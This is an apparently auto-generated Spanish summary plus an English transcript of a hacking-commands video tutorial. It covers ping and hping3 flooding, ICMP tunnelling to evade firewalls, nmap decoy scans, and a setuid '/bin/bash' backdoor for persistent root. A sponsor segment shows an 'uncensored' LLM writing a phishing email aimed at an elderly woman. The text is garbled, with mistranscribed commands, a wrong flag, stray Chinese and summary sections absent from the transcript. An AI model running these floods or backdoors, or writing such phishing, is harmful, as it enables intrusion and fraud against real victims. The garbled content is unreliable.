60 Hacking Commands You NEED to Know

Summary

Este script de video ofrece una visión detallada de los 60 comandos de hacking más importantes que los espectadores deben conocer. Seguidamente, se introduce a los espectadores en un entorno de hacking seguro con un enlace proporcionado para descargar un Sandbox de Cali Lennic. El video abarca desde el uso básico del comando ping para probar la conectividad y las capacidades del firewall, hasta técnicas más avanzadas como el uso de Hping3 para ataques de inundación de paquetes y el uso de P tunnel para tunneling de paquetes TCP a través de ICMP. Además, se exploran herramientas como Nmap para escaneo de redes, whatweb para identificar tecnologías web, curl para la interacción con APIs y SSH para conexiones remotas. Finalmente, se destaca la utilidad de TCP dump y thar para la captura y análisis de paquetes de red, así como Netcat para crear shells inversos y servidores de chat. El video es una guía valiosa para aquellos interesados en la seguridad informática y las pruebas de penetración.

Takeaways

• 🔍 Los comandos de hacking son herramientas útiles para la seguridad de la información y el aprendizaje de las defensas contra posibles ataques.
• ☕ Para comenzar con el hacking ético, es importante tener un entorno de prueba, como el Sandbox ofrecido por Cali Lennic.
• 📋 Mantener una hoja de referencia de los comandos de hacking, como la que se menciona en el video, puede ser una herramienta valiosa para los principiantes.
• 💥 El comando ping no solo puede verificar si un host está en línea, sino también ser utilizado para enviar paquetes grandes y probar el fuego de las defensas de un sistema.
• 🚀 Las herramientas como Hping3 y IFtop permiten a los hackers avanzados realizar operaciones más complejas, como el envío de paquetes de inundación en un puerto específico.
• 🛠️ La utilización de PT (Packet Transmitter) y P tunnel demuestra cómo se pueden tunnelizar paquetes TCP a través de paquetes ICMP para eludir los filtros de firewall.
• 🕵️‍♂️ Nmap es una herramienta esencial para la exploración de redes, capaz de realizar análisis rápidos y escaneos detallados de hosts y servicios.
• 🔎 Masscan es una alternativa a Nmap que permite escaneos de red a una velocidad mucho más rápida, aunque a menudo requiere más conocimientos para su uso efectivo.
• 📚 El comando 'ls' en Unix/Linux no solo lista archivos, sino que también puede ser una fuente de diversión con comandos como 'sl', que muestra un tren en la terminal.
• 🔑 La manipulación de permisos de archivos a través de comandos como 'chmod' puede tener implicaciones serias en la seguridad, como se muestra con la creación de una puerta trasera con 'bash -p'.
• 🌐 Herramientas como 'whatweb' y 'curl' son fundamentales para la recopilación de información y el análisis de la actividad de red y de servidores web.

Q & A

¿Qué es el comando ping y cómo se utiliza en el contexto de hacking?

El comando ping es una herramienta utilizada para verificar la conectividad con un host específico. En el contexto de hacking, se puede usar para enviar paquetes de diferentes tamaños (con el modificador -s) para probar la capacidad de un firewall o incluso para发起洪水攻击 (ataques de denegación de servicio) utilizando el interruptor -f para enviar una gran cantidad de paquetes.

¿Cómo se puede usar el comando H ping three para realizar un ataque de inundación en un servidor web?

H ping three es una herramienta avanzada que permite enviar paquetes de red personalizados. Para realizar un ataque de inundación en un servidor web, se puede usar la opción -p para seleccionar el puerto, en este caso el puerto 80, y combinarlo con el modificador -V para un modo detallado, lo que aumentará la cantidad de tráfico enviado al servidor.

¿Qué es IF top y cómo se instala?

IF top es una herramienta que muestra información en tiempo real sobre el tráfico de red. Se instala a través del administrador de paquetes de Kali Linux con el comando 'apt-get install iftop' y se ejecuta con 'iftop'.

¿Cómo se puede usar Nmap para realizar un escaneo de vulnerabilidades en una red?

Nmap es una herramienta de escaneo de red que permite descubrir hosts y servicios en una red. Para escanear vulnerabilidades, se puede usar el script 'script scan' seguido del host o red de destino. También se puede usar la opción -A para realizar un escaneo intensivo que incluye detección de sistema operativo, detección de versiones y escaneo de scripts básicos.

¿Qué es Masscan y cómo se diferencia de Nmap?

Masscan es una herramienta de escaneo de puertos diseñada para ser rápida y sencilla. A diferencia de Nmap, Masscan está diseñado para escanear una gran cantidad de hosts de manera rápida, aunque no ofrece la misma profundidad de información que Nmap. Se instala con 'apt-get install masscan' y se ejecuta especificando los puertos y la red a escanear.

¿Cómo se puede usar el comando 'ls' de una manera divertida o como un 'trol'?

El comando 'ls' se utiliza normalmente para listar el contenido de un directorio. Sin embargo, se puede configurar un alias para el comando 'ls' que ejecute en su lugar el comando 'sl', lo que desencadena la representación de un tren en la terminal. Esto se puede hacer para bromear o como un 'trol', sorprendiendo a otros usuarios que escriban 'ls' esperando listar archivos.

¿Qué información puede proporcionar el comando 'whois'?

El comando 'whois' se utiliza para obtener información sobre un dominio o una dirección IP. Proporciona detalles como el número de fax, el número de teléfono, la dirección y otros datos de contacto del propietario del dominio. También puede mostrar información de registro de IP si se utiliza con una dirección IP en lugar de un dominio.

¿Cómo se puede usar curl para interactuar con APIs y por qué es útil?

Curl es una herramienta de línea de comandos que permite la transferencia de datos con URLs. Es útil para interactuar con APIs porque permite enviar solicitudes y recibir respuestas de servidores web. Con el modificador -I, curl puede mostrar solo las cabeceras de la respuesta, lo que es útil para verificar la accesibilidad de un endpoint o para autenticarse en una API proporcionando un token en una cabecera personalizada.

¿Qué es Scamo y cómo funciona?

Scamo es una herramienta de detección y prevención de estafas impulsada por IA desarrollada por Bitdefender. Funciona como un servicio gratuito que permite a los usuarios chatear con ella a través de Facebook Messenger para verificar si un mensaje o una situación en particular es una estafa. Scamo utiliza la información y conocimientos de Bitdefender para estar actualizado con las últimas tácticas de estafa.

¿Cómo se puede usar el comando 'bash' para crear una puerta trasera en un sistema?

Se puede usar el comando 'bash' con el argumento '-tacp' para crear una puerta trasera si se tiene permisos de root. Esto requiere cambiar los permisos del binario de bash utilizando 'chmod +s /bin/bash' para establecer los permisos setuid. Después de la configuración, cualquier usuario que ejecute 'bash -tacp' obtendría acceso root al sistema.

¿Qué es Thar y cómo se diferencia de TCP dump?

Thar es una herramienta de línea de comandos similar a Wireshark que se utiliza para capturar y analizar tráfico de red. A diferencia de TCP dump, Thar ofrece una gran cantidad de opciones para filtrar y analizar paquetes, incluyendo la capacidad de seguir conexiones y flujos TCP específicos, y de especificar campos personalizados para la salida.

Outlines

00:00

🔓 Comandos esenciales de hacking y configuración de entornos

Este segmento introduce una lista extensa de comandos de hacking esenciales y ofrece una visión práctica para probarlos en un entorno controlado, utilizando un sandbox de Cali Lennic. Destaca el uso de diferentes comandos para manipular y testear la infraestructura de red como el uso avanzado de ping para analizar la capacidad de los firewalls y el comando IF top para monitorear el tráfico de red en tiempo real. También se introduce H ping tres para ataques específicos en puertos y la creación de túneles con ICMP utilizando P tunnel para evadir firewalls, culminando en la visualización de tráfico SSH sobre ICMP.

05:04

🔍 Técnicas avanzadas y trucos en el uso de Nmap y Masscan

En este párrafo se exploran técnicas avanzadas utilizando Nmap para el escaneo y análisis de redes, detección de sistemas operativos y la evasión de sistemas de detección mediante la fragmentación de paquetes y el cambio de puertos de origen. Introduce Masscan para escaneos ultrarrápidos y el uso de host aleatorios para mantener oculto al usuario. Además, se menciona un comando curioso, el comando 'steam locomotive', como una broma para ocupar la terminal, y estrategias para configurar alias en comandos comunes para ejecutar tareas inesperadas como generar salida aleatoria.

10:07

👾 Explotación de vulnerabilidades y herramientas de hacking especializadas

El tercer párrafo profundiza en herramientas y comandos especializados para el hacking y la seguridad cibernética. Destaca el uso de WP Scan para analizar vulnerabilidades en sitios de WordPress, y la herramienta Amass para la enumeración de subdominios. También se discuten herramientas como Go Buster para la enumeración de directorios y Search Exploit para buscar exploits disponibles. John Hammond introduce un método para crear una puerta trasera en sistemas utilizando Bash con permisos elevados mediante el cambio de los permisos de set UID.

15:09

📡 Monitoreo y análisis de tráfico con TCP dump y herramientas relacionadas

Este párrafo se centra en herramientas de captura y análisis de tráfico de red. Se introduce TCP dump para capturas de tráfico, junto con su uso para limitar la captura a cierto número de paquetes. Luego se presenta Thar, una herramienta avanzada para el análisis detallado de paquetes, incluyendo la capacidad de seguir conexiones específicas y visualizar datos de manera estructurada. Finalmente, se explica el uso de Tux, un multiplexor de terminal, para manejar múltiples sesiones de terminal y facilitar tareas complejas simultáneamente.

20:10

🌐 Técnicas de tunelización y manejo avanzado de sesiones con SSH

El último párrafo aborda técnicas avanzadas de SSH para la tunelización y manejo de sesiones remotas. Se menciona la creación de un proxy SOX para enmascarar la ubicación geográfica del usuario y el uso de Netcat para establecer conexiones inversas y configurar servidores de chat simples. La descripción finaliza con la demostración de cómo estas técnicas pueden ser utilizadas para el acceso remoto y la gestión de sistemas distribuidos, proporcionando flexibilidad y control sobre múltiples máquinas en red.

Keywords

💡Hacking Commands

Comandos de hacking son instrucciones específicas utilizadas para realizar tareas en un entorno de seguridad informática. En el video, se discuten varios comandos, como 'ping' y 'nmap', que son esenciales para la detección de hosts, el escaneo de redes y la evaluación de vulnerabilidades. Estos comandos son fundamentales para el tema del video, que es proporcionar información sobre las órdenes de hacking más importantes que un usuario debe conocer.

💡Ping

El comando 'ping' es una herramienta utilizada para verificar la conectividad entre dos hosts en una red. En el video, se explica cómo se puede utilizar 'ping' para enviar paquetes de diferentes tamaños y probar las capacidades del firewall, así como para realizar ataques de inundación de paquetes. Este comando es esencial para la comprensión de las comunicaciones de red y la seguridad.

💡Nmap

Nmap es una herramienta de escaneo de redes que permite a los usuarios examinar redes para identificar hosts activos, servicios y posibles vulnerabilidades. En el video, se muestra cómo se puede utilizar Nmap con diferentes switches para realizar escaneos de red, detección de servicios, detección de sistema operativo y escaneo de vulnerabilidades, lo que es crucial para el tema de hacking y seguridad informática.

💡Firewall

Un firewall es una barrera de seguridad que controla el tráfico de red entrante y saliente basado en un conjunto de reglas predefinidas. En el video, se discute cómo los comandos de hacking, como 'ping' y 'Hping3', pueden utilizarse para probar las capacidades del firewall y encontrar posibles brechas en la seguridad. La comprensión del funcionamiento de los firewalls es clave para la defensa contra los ataques de hacking.

💡SSH

SSH (Secure Shell) es un protocolo de red que proporciona servicios de capa de aplicación para aplicaciones en red de cliente-servidor y es utilizado para acceder de forma segura a una máquina remota. En el video, se menciona cómo se puede utilizar SSH para crear túneles y proxies, lo que permite a los usuarios eludir firewalls y acceder a servidores de manera segura a través de conexiones ICMP.

💡TCP Dump

TCP Dump es una herramienta de análisis de tráfico de red que permite a los usuarios capturar y examinar paquetes de red. En el video, se describe cómo se puede usar TCP Dump para capturar y visualizar paquetes en tiempo real, lo que es esencial para la detección de actividades anómalas en la red y para el análisis de tráfico de red.

💡Subdomain Enumeration

La enumeración de subdominios es el proceso de identificar todos los subdominios que pertenecen a un dominio específico. En el video, se discuten herramientas como 'Sublist3r' y 'Amass' que se utilizan para realizar enumeración de subdominios, lo que es útil para encontrar puntos de entrada adicionales en una red durante una prueba de penetración.

💡Wordpress Scan

WordPress Scan es una herramienta diseñada para analizar sitios web que utilizan la plataforma WordPress, buscando vulnerabilidades y problemas de seguridad. En el video, se muestra cómo se puede utilizar esta herramienta para enumerar usuarios, plugins y temas, lo que es esencial para los propietarios de sitios de WordPress y para los profesionales de pruebas de penetración.

💡GoBuster

GoBuster es una herramienta de código abierto que se utiliza para encontrar directorios y archivos en un servidor web. En el video, se menciona cómo se puede utilizar GoBuster para enumerar contenido en un sitio web, lo que puede ayudar a los hackers a encontrar vulnerabilidades o información sensible que no debería estar públicamente disponible.

💡SSH Tunneling

El túneling SSH es una técnica utilizada para redirigir tráfico de red a través de un túnel seguro entre dos puntos finales. En el video, se demuestra cómo se puede crear un túnel SSH para permitir conexiones a un servidor remoto, lo que es útil para eludir la vigilancia de red y acceder a recursos de forma segura.

💡Netcat

Netcat, a menudo abreviado como 'nc', es una herramienta de red que permite la creación de conexiones TCP o UDP entre dos hosts. En el video, se describe cómo se puede utilizar Netcat para establecer shells inversos y servidores de chat, lo que es esencial para la comunicación entre los atacantes y las máquinas objetivo en un entorno de hacking.

Highlights

Presentación de los 60 comandos de hacking más importantes.

Introducción de expertos y preparación de un entorno de hacking con Cali Lennix Sandbox.

Disponibilidad de un cheat sheet con los comandos de hacking principales.

Uso del comando ping para verificar la actividad de un host y enviar paquetes de prueba de tamaño variable.

Demostración de la herramienta IFtop para monitorear el tráfico de red en tiempo real.

Instalación y uso de Hping3 para enviar paquetes de inundación y realizar trazas de ruta personalizadas.

Técnica de tunelización de paquetes TCP a través de paquetes ICMP con P tunnel.

Uso de TCPdump para capturar y visualizar paquetes en tiempo real.

Toma deCoffee Break mientras se ejecutan análisis de red pesados.

Uso de Nmap para escanear redes, detectar sistemas operativos y encontrar vulnerabilidades.

Técnica de escaneo con decoy para evitar la detección durante el escaneo de redes.

Introducción y uso de Masscan para realizar escaneos de red rápidos y eficientes.

Comando LSL para generar una representación visual de un tren en la línea de comandos.

Uso del comando 'whois' para obtener información detallada sobre un dominio.

Aplicación práctica del comando curl para interactuar con APIs y procesar datos.

Presentación de la herramienta Scamo de Bitdefender, un servicio gratuito de detección y prevención de estafas.

Demostración de la creación de un backdoor en Bash para mantener un acceso persistente a una máquina.

Uso avanzado de TCPdump y Thar para la captura y análisis detallado de paquetes de red.

Instalación y configuración de Tmux, un multiplexador de terminales para gestionar sesiones de trabajo.

Uso de SSH para crear túneles y proxies SOCKS para navegación anónima.

Implementación de Netcat para crear shells inversos y servidores de chat simples.

Transcripts

Here are the top 60 hacking commands you need to know.

I also brought in a few experts,

so get your coffee ready if you want to try these commands right now.

I've got a free Cali Lennic Sandbox and a description.

Just click that link and right here in your browser, boom hacking environment.

Make sure you read the instructions. You get two hosts to hack with. Also,

all the commands in this video are in the description below.

We even created this beautiful top hacking commands cheat sheet.

You got to have this the humble ping command.

We ping a host to see if it's up and if it's up we'll hack it.

But right now we're sending a 64 byte packet. What do you say?

We send something bigger to test firewall capabilities.

We can type in dash S and specify the size of our packet,

testing the capabilities of a firewall, or we can get even crazier.

We'll still send our large packet dash S 1300,

but then we'll use the switch dash F to absolutely obliterate this host flood.

A ton of packets. And actually before we do that, I want to see this happen.

I'll start another terminal and give you a bonus command here.

This tool is called IF top.

I'll install it with a PT install if and then type in if F top to run it.

Now let's flood. Look at that.

That's a lot of data control C to stop that. Same for if F top. Goodbye.

And actually let's keep IF top up because we're not done with ping yet.

I know you didn't realize there's so much to ping and this tool is kind of

crazy. It's called H ping three.

We'll install it with a PT install H ping three.

And we can do fun things like flooding packets on a specific port. For example,

port 83 s for a T CCP packet V

for verbose mode gives us more flood to make it rain. And finally the host.

Here we go man, look at that. And we're hitting port 80.

Great for testing web servers.

We can also use H ping three for a fancy trace three

V and then here's what's cool.

We'll do dash one four I CM P packets and then our host network chuck.coffee,

but sometimes firewalls P with trace route removing dash one.

We can instead do P 80 and S doing trace route on port

80,

which is web traffic using of course CP and pick your port

maybe 4, 4, 3, maybe 53.

Use the DS port specifying UDP traffic or with TCP traffic we

can add the dash a switch setting the act flag and then change our base

port with dash dash base port 1, 3, 3, 7.

All amazing options to help us evade firewall rules.

Now I bet you thought we were done with ping, but we're not.

You can tunnel TCP packets over ICMP echo reply and request packets.

What? Check this out. It happens with the tool called P tunnel.

A PT installed P tunnel. On the target side, we'll simply run P tunnel.

On the attacker side we'll run P tunnel P for proxy address,

it'll be our target dash LP. To specify our local port,

we'll do 8,000 dash DA for our destination address.

It'll also be our target and we'll do dash DP for our destination port.

And because I'm going to try SSH, I'll do port 22 ready set tunnel.

Now to watch this happen in real time, I'm going to show you a new command.

CP dump will help us to capture and visualize these packets in real time.

We'll use a PT install TCP dump to install it and then we'll run T CCP dump

dash I for interface and we'll say any. And we're only looking for ICMP traffic,

so we'll type in ICMP. Now watch this. I'll want you new terminal.

Now I'm going to go over this tunnel using ICMP packets. Oh my gosh,

check this out.

SSH P report specifying 8,000 and I'll do username network.

Chuck,

that's my username at the other host at local host pointing it right here on

this computer, this server. Ready, set, go. Do you see it happening?

Oh my stinking, gosh. Literally sending SSA traffic over ICMP.

Echo reply echo request. That's magic. Who am I IP address? Yep,

I'm somewhere else. That's so cool.

And control C to close those tunnels on both sides,

this is great for evading firewalls that might block that type of traffic.

Here's a quick command from Tom, nom, nom, nom nom. No, no.

I'm Tom m nom and this is a trick I use all the time.

If you're running a command and you don't know what you want to do with the

output yet, pipe it to vim dash. That'll open the output of the command in Vim,

and then you can either manually edit it or you can use column percent bang to

run it back through any command you want. Run it through,

sort to put things in order or grip dash V to remove lines you don't want.

And then as a bonus, if you have a file name under your cursor at G,

then F to open that file in a new buffer.

Nmap will scan a network helping us to discover hosts that we can hack.

Here's some fun ways to use it. First,

make sure you install it A PT install Nmap.

We can scan an entire network for quick mapping with Nmap dash, sn,

and then our target network. Hey, it found 11, host the switch, lowercase s,

capital V will do service discovery on a target works like a charm.

Use the capital O switch for OS detection. Well hold up, we tried,

but it's blocking ping probes. Let's try dash PN to not do the probe.

We'll add that to our command dash capital P lowercase n bam.

We got it's a Windows pc.

We can use a lowercase s capital L switch to do quick host name scanning on a

network. Nmap scripts, unlike a whole new world,

we can scan for vulnerabilities on a host with script vol and then our target

host or network, we can use the malware script to scan for known malware.

With the capital A switch, we can scan for pretty much everything.

Take a little coffee break, it'll take a while.

This one switch does OS detection, version detection,

some default script scanning from Nmap and the trace route.

That's a lot of info. That's awesome. If we use the lowercase F switch,

it'll fragment our packets and make it harder for us to be detected while we're

scanning. We can also avoid detection by changing our source port.

Using these source port switch, we can just say, Hey, I'm DNS, don't mind me.

And if you really want to be tricky with Nmap, you can scan with decoys,

check this out,

Nmap dash capital D for decoys and then specify r and d all

capital. Let's say 10. What that will do is generate 10 random IP addresses,

random decoys that you're scanning from so they can't find you.

We'll put our host in and then bam scanning from 10 different IP addresses.

Now Inmap is cool,

but what you have a lot to scan like networks upon networks and you want to scan

them fast, that's where mass scan comes in.

One install mass scan with a PT install mass scan.

Mass scan is similar to Nmap and that we can specify ports to scan for specify a

network,

but then we can specify our rate and go super fast just

like that. Or if we have no idea what networks we're dealing with,

we can scan everything by the entire 10 point subnet range and we'll do a rate

of 10,000. Now it is fast,

but you still might want to take a coffee break just saying

we'll just control see that.

We could also use the randomized host switch to change the order in which we

scan our host or networks helping us stay a bit more hidden or we can quickly

find servers foolishly running telenet on a network. Super insecure,

but we can find that out right now simply by specifying port 23 and scanning an

entire network fast. Got one.

Now here's John Hanman with something a bit silly but I love it though.

You normally just enter LS on the command line to list stuff in the current

directory. Well, did you know that there is actually an S SL command?

Like if you were typing really fast or you accidentally made a mistake or you

had a typo when you meant to type LS and you accidentally typed S

sl,

this is the steam locomotive and it is a train that

is displayed on your computer screen, on the command line on the terminal.

And look, you can't get out of this, you can't type anything,

you can't do anything. You just have to wait for the whole train to drive by.

Now the next fun hacking command that I want to show you is actually part of the

dev piece of the file system. I don't know if you're familiar,

but there is a slash dev slash udom file and that is

like a device to list out PSEUDORANDOM data just coming from your

computer, right? Hey, you have a stream,

a constant stream of randomness and this looks hysterical.

It is just gibberish nonsense zeros and ones and all the

data up to 255 askie characters printable non-print.

And it just looks like absolute chaos. You can control see out of this,

but sometimes it might break the terminal and you can't actually continue to

interact with the shell.

So it's something that you might be able to do as a troll, as a meme, right?

So what if we actually set an alias for that same LS command?

Maybe we could set that to a cell if we wanted to run the steam locomotive train

again,

but we could set that to Cat deran and now anytime

someone were to actually enter LS on the command line thinking that they're

going to list files,

it'll just spit up and go crazy with all that random gibberish nonsense.

I think that's kind of fun.

By the way,

John Ham who will show us a real hacking command he loves later in the video,

the who is command will tell you a ton of stuff about a domain,

install it with a PT install, who is microsoft.com,

fax number, phone number, address,

let's try cia.gov redacted should have expected that.

What web will tell you what technologies a website is using a PT install what

web to install it and then we'll type in what web and our domain.

We'll try network chuck.coffee.

And while that's scanning perfect time for a coffee break,

it gives you a ton of information including the fact that it's powered by

Shopify right there. Next up, curl from Naham sec.

My favorite command is actually not using any hacking tools and it's probably

one of the most basic commands used on Linux and it comes by default on almost

any operating system and that is a curl command.

And lemme show you real quickly how I use it.

The first thing I want to do is usually I just want to do a curl dash I that

usually gives you the headers and every response in that header of what it is

coming back from the server.

So in this case it's giving us a 3 0 2 and it's saying, Hey,

you are going to get redirected to this exact location.

And I like doing curl a lot because I'm hacking a lot of APIs most of the time

and with APIs I want to just quickly see if an endpoint is accessible or if I

can fit some sort of a data.

And a lot of times I'm processing data as a part of my hacking when recon.

So it makes it a lot easier to do it through Chrome.

And what you want to do for this one, for example, if you want to authenticate,

instead of launching your browser and setting this header manually,

all you have to do is you can pass a header and set that custom header with its

token in there and run it and it would authenticate you and give you whatever

data it is that you're looking for on that. API.

Hey, real quick, can I show you something crazy? Check this out.

I'm about to run an uncensored version of chat GPT or an LLM,

which means you can pretty much do whatever you want to do with it.

Now why am I doing this? Well,

because Bitdefender just came out with a tool called Scamo.

It's a free AI powered scam detector and prevention service from Bitdefender

like legit. Check this out. I got a text from a scam. I'm pretty sure it is,

but do I actually know? Lemme go find it. Oh yep. Here's one.

Pretty sure this is a scam,

but do I know all I got to do is copy that sucker and jump into Facebook

Messenger, just one of the places I can chat with and see if things are scams.

So let's try it out. Hey, is this a scam again, this is totally free,

I'm just chatting with it here in Facebook Messenger and within seconds it told

me that hey, it might be kind of suspicious. Don't do anything with it. Okay,

that's pretty cool. That didn't fool it,

but what if I had this uncensored AI tool try to produce a phishing message.

Can we trick it? Let's try it out.

I need you to write a very convincing phishing email for an elderly woman named

Deborah. The goal is to get her to give me some money,

use the best method and write it in a way that will avoid spam and fraud

detection. Lemme add that and fraud detection. Snap. Okay, that's pretty good.

It even added this at the end. That's awesome. Okay,

let's doctor it up just a little bit or remove the,

it's not a real URL thing right there.

Let's add a real looking number like 7 6 5 0 9 8 7

and I'll remove the not a real number thing here too. Okay, cool.

Our message is ready. Let's test it out. Please tell me if this email is okay.

Now, while it's checking that, think about this.

Who in your family or in your friend group could benefit from having something

like this?

I can't tell you how many times I'm getting a text from my grandma or my mom

going, Hey, is this a scam? Is this fraud?

But if they can chat with something that is honestly probably smarter than me

and will be up to date with the latest scams,

it's actually powered by a bitdefender,

the excellent security suite that I've talked about here on this channel a lot.

So all the information and knowledge they have is feeding the scamo free AI

powered tool. Okay, the results are in the email does seem suspicious,

it tells you what tactics it might be using and it tells you to contact your

bank directly. That's perfect.

That's what I would tell my grandma or my mom or my dad.

So seriously try it out right now. Check the link below, it's free,

you can chat with it here on the website or chat within Messenger.

They'll be adding WhatsApp soon and it'll check lots of things like you can send

out a QR code and go, Hey, is this good? You can send out pictures of stuff.

This is a crazy powerful and free tool. I love what Bitdefender is doing.

So again,

definitely check it out and thank you to Bitdefender for sponsoring this video

and making a really awesome free tool available to all of you guys.

Nick to is an open source web server scanner that'll scan websites for any

dangerous bad stuff. It might have to install it.

We'll do AP PT install Nick to and for a basic vulnerability scan.

We'll do Nick to dash H for our host and specify our host network.

Chuck dot copy go Buster can be used to find directory and files on a web

server.

We'll install it with a PT install Go Buster to enumerate network chuck.com.

We'll do go Buster, we'll type in DUR for directories.

That's the mode we're going to be in.

We'll type in U and specify our domain network check.com and we'll use the dash

W to specify our word list.

I'll use a default Cali Linux one here and go and it's discovering all my

directories files now because Go Buster is written and go is extremely fast.

Subdomain, enumeration, yeah, we can use it for that,

but first I want to download a word list to get a ton of word lists right now on

your system we'll use the tool called SEC list A PT install SEC

lists. Fair warning, this is pretty big. Lots of word lists.

Once it's done downloading,

you can find it in user share SEC list.

Lots of stuff in there. Now real quick, if you only want to download one thing,

the thing that we care about, there's a command for that.

It's called W Get Cyclist is also on GitHub and it's maintained by my friends.

What we care about is discovery and DNS and we'll get Jason Haddock's list here.

I'm going to grab the raw URL to install W get a PT install W Get

Kind Seeing a pattern here, right?

Type in W get paste at URLW. Got it. Now getting back to Go Buster,

we can enumerate domains. We'll type in go Buster mod BDNS.

We'll specify our domain with dash D network check.com and then our word list

with dash W. I'll use Jason Haddock's DNS. Ready, set, go.

Now that's a pretty big list and if I were doing a legit pin test,

I'd probably let this finish out but I don't have time for that.

I'm not patient enough Control C to stop that.

I want to show you another way to do subdomain enumeration.

This tool is called sub lister. You can install it with a PT,

install sub lister just like this and the E is a three.

And then to run sub lister,

we'll simply type in sub lister dash D to specify our domain network check.com

and let it go. And it found a lot of stuff. This next one is pretty fun.

It's called WP Scan.

It will scan WordPress sites and help you find all the issues that might be

affecting it. Great. If you're a WordPress site owner and great,

you're a pen tester, let's try it out. We can run it in a few ways.

The first way WP scan, we'll do dash dash URL and specify our URL.

We'll do chuck keith.com, my personal website that's not doing anything.

And then we'll do dash enumerates you,

not you the letter you the U stands for users, let's try it out.

That's a lot of information. We can also use the P option for plugins.

We can use T for themes or do something pretty aggressive.

We'll do VP VT dash plugins,

dash detection and we'll add aggressive at the end just to make sure we get our

point across. This is a super aggressive vulnerability scan. Let's try it out.

Now you may have noticed that all those commands did not output anything fun

because you need an API token from WP scan,

which you can get for free right now.

And then you would run the commands like this specifying your API token with a

dash API dash token switch. A mass is another tool you can use for subdomain.

Enumeration. Install it with a PT install and to run it we'll type in a mass,

type in enu dash adidas specifier domain network chuck.com and let it

go. This tool might run forever. Alright, I don't want to wait for it though.

Control C to stop that. But man,

look at all the stuff about to do a more passive enumeration.

You can do this a mass and we'll specify a dash passive

and then our domain, whereas the other one was a bit more active.

I like AMA because it does give us options based on what our scope is and we'll

go ahead and stop that. This next command opens up the door to new commands.

What does that mean? You'll see it's a tool called gi,

which we'll often use when you first start out to interact with GitHub.

Let me show you. There's a tool we're about to use called Search point,

but the way we use this tool is by downloading it from GitHub and actually I

lied, this is a GitLab repository, but it's pretty much the same thing.

You'll use GI all the time to install all kinds of stuff,

but first we have to install GI A PT Install Get you probably already

have it. And then probably my favorite command is GI Clone.

We're going to clone a tool onto our computer and in our case it will be search

point. Let's go to properly use that command, we'll add a symbolic link.

We're not going to talk about that, just know it's a command below.

And then finally we can use the command search exploit, right? Yeah,

it's going to work. Let's try searching for WordPress plugins.

It'll search for exploits that involve WordPress plugins. What about SSH?

A ton of exploits pertaining to SSH Super handy tool if you want to update the

database search exploit dash u crazy powerful tool.

Now here's John Hammond with a real hacking command. It's kind of awesome. Let.

Me get into the real genuine ethical hacking and penetration testing.

My favorite top hacking command. Here's the thing,

when you're on the command line interacting with the shell,

you're actually running this program called Bash or the born again shell.

Now that lives on the file system and slash bin bash.

So if I were to actually execute this, it doesn't look like it does anything,

I just get the prompt back because I've just invoked and I'm running a shell or

terminal inside my shell so I could exit out of that and get back to my

original prompt.

But Ben Bash actually takes a special argument called TAC P

and that will enforce and maintain set UID permissions,

which means that the owner of the file root,

in this case the admin absolute controller of the computer will be able to keep

their permissions but it has to be a set UID binary.

So the way that we could do that is to actually change mod or CH

modifications,

change modifications on the file and add or plus the

S letter for set UID.

We'll put that on Bin Bash and this will require some root

privileges.

That means that you need to be the admin to be able to configure this.

But what that ultimately does is create a back door or you have

a persistence mechanism,

a little bit of a foothold so that at any point if we configure this with our

pseudo password later on down the line,

you get access to this machine one more time.

Now you can just run bash tack P and you

are root, you control the whole machine because you are the admin user.

You set up that back door. If you wanted to,

you could move into the root directory and you could do anything that you want.

Maybe we could echo hello into a

please subscribe to network Chuck,

I'll hit enter on that. And now if I zoom out, let me show you this.

LS Tech LA we can see our file right there.

Please subscribe to network Chuck. Hey,

just owned and controlled by the root user and we were able to configure that

with our back door. Pseudo CH mod plus S bin Bash.

That is my favorite top hacking command because then you've got a

backdoor,

you've got a persistence mechanism and a way to become root at any point.

I hope you enjoyed a couple of those. Really neat Hey top hacking commands.

But thank you so much network Chuck for letting me join the party here.

This was an absolute blast.

Now I'm going to do something bad. I'm going to do the same command twice. What?

No, I know. It's okay. We're going to talk about TCP dump again. Why?

Well because there's more cool stuff about it and we didn't give it enough time.

We'll type in TCP dump, we'll type in dash W to send it to a file.

We'll just call it capture dot pcap.

Then dash I for our interface and we'll do ethernet zero.

That's the one I have now lemme just make sure that's the case. IP address, yes,

ethernet zero and go. And we'll generate some traffic,

do something fun that we've already learned and map with random addresses.

Decoys. We'll stop that with CTRL C.

We can analyze that traffic with this command.

TCP dump dash r specify our capture file which just capture pcap.

Let's take a look. Cool.

We can see we can also limit the amount of packets we capture with TCP dump and

the switch dash C for counts. And we'll say like 100 that did not long.

Now TCP dump is pretty cool.

Great for quick captures but the real tool you want to use that's crazy powerful

is thar the command line brother of Wireshark.

To install thar we'll do a PT install thar thar can do a lot.

Let's try a few things. First we'll type in thar and we'll capture one packet,

just one. We'll put it in verbose mode with dash capital V,

we'll do dash C for count. We'll do one and then dash IE,

the 9 0 1 packet captured. And then look at all the stuff it shows us.

That is so powerful. Networking geeks are just drooling. So yes, I'm drooling.

Do you want to see something crazier filters. Watch this T-shirt.

We'll do a dash y to apply a display filter and with this single quote we'll

specify we'll do http request method

space equals equals and a double quotes get and then close it out with a single

quote. I know it's kind of wordy but check this out. Let's specify our interface

get at zero and we're now capturing only showing get request. How cool is that?

Let's generate some curl academy.network chuck.com.

There's another one that's so cool.

Now one of the most powerful ways we can use thar is by analyzing packet

captures. So let's do a capture real quick to a file thar and actually no,

I'm going to show you one cool thing.

We'll use a command called timeout and put in 15 seconds and it'll time out or

stop this packet capture in 15 seconds. That's pretty cool.

Thar dash I ethernet zero and with a dash w command similar to

TCP dump. We'll send that to a file thar dash p app me.

Try to generate some quick traffic and done to display statistics and

specifically to follow endpoint connections.

Use this command thar dash r, we'll specify our capture,

which was thar pcap.

Then we'll use the switches dash qz and specify endpoints ip.

How cool is that?

We could also follow A TCP stream with thar dash RR capture dash qz and we'll

say follow comma TCP. And we'll put that in ask E.

So ask E, we'll do comma, we'll follow the seventh stream. That's pretty cool.

Let's try, I dunno, the first stream. First stream's crazy.

Let's do the 20th stream, the hundred stream. So powerful.

We can also simply do custom output of fields based on the capture we're

reviewing. Check this out thar do a dash e IP source dash e IP

desk or DST dash e framed protocols.

Notice we're specifying fields. We'll do a dash T fields,

which is telling it to only output the fields we're specifying.

And then finally dash r specifying our capture. How cool is that? So powerful.

This is my new favorite tool.

Tux a terminal multiplexer install tux with APT install tux.

And then simply type in tm.

We suddenly have a new terminal that we can do stuff in like ping

academy.network chuck.com, leave that there.

Hit control B and then D on your keyboard, you're detached from it.

And then with tux A get right back to it. How powerful is that?

I'll stop type in exit to close that out.

